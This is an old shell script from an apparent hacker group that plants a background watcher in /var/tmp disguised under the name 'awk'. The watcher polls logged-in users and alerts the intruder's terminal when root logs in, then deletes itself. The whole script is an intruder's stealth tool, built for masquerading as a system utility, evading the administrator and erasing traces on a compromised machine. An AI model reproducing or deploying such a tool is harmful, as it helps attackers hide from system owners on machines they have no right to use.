#!/bin/sh
# Written by hipodilski from pC-fREAK Org. 
# http://rootshell.be/~pcfreak/Archive
# This Peace of shit is Licensed Under GPL ver. 2.0 and above
# All credits to my friends my family the guys from
# dahmer.vistech.net checkout http://deathrow.vistech.net
# and everything other and else that keeps me going.
# for bug reports problems and stuff mail to:
# hipodilski@dahmer.vistech.net
# Note! : You need to edit your variables twice
# to make things work but there is no other way sorry.;]
# Temp dir where our checker will be.
# Use this at your own risk ! This Comes with ABSOLUTELY NO GUARRANTIES.

TMP_DIR="/var/tmp";

# Name to mask our checker as
file_name="awk";
# Don't modify this two vars.
tty_file="$TMP_DIR/.tty";
TTY=`tty`;

# Username we'll check for.
user="root";

#chk_args () {
#if [ -z "$string1" ]; then
#echo "Put arg1 for fake file name";
#echo "Wrong Syntax Exiting ...";
#exit 0;
#fi
#}

write_file () {

echo $TTY > $tty_file;
cat > $TMP_DIR/$file_name << "EOF"

#!/bin/sh

# Username to track for.
user="root";

# Temp dir where our checker we'll be written.
TMP_DIR1="/var/tmp";

CUR_DIR=`pwd`;

# File name to mask our checker as
file_name="awk";

# Don't Modify this vars.
tty_file=".tty";
tty=`cat $TMP_DIR1/$tty_file`;


while [ 1 ]; do

result_stat=`w | grep "$user"`;
result=`w | grep $user | wc -l`;

if [ $result != 0 ]; then
(echo; echo "$result_stat"; echo)  > $tty;
(echo "User: $user loged in! Save Your Ass:]"; echo) > $tty;
rm -f $TMP_DIR1/$file_name;
rm -f $TMP_DIR1/$tty_file
exit 0;

fi;
sleep 5;

done
EOF
}

exec_file () {

chmod +x $TMP_DIR/$file_name;
echo "Running..";
echo "Listening for user: $user";
(export PATH=$TMP_DIR:$PATH; $file_name &)
echo "Completed";
exit 0;

}

main () {

#chk_args;
write_file;
exec_file;

}
main;
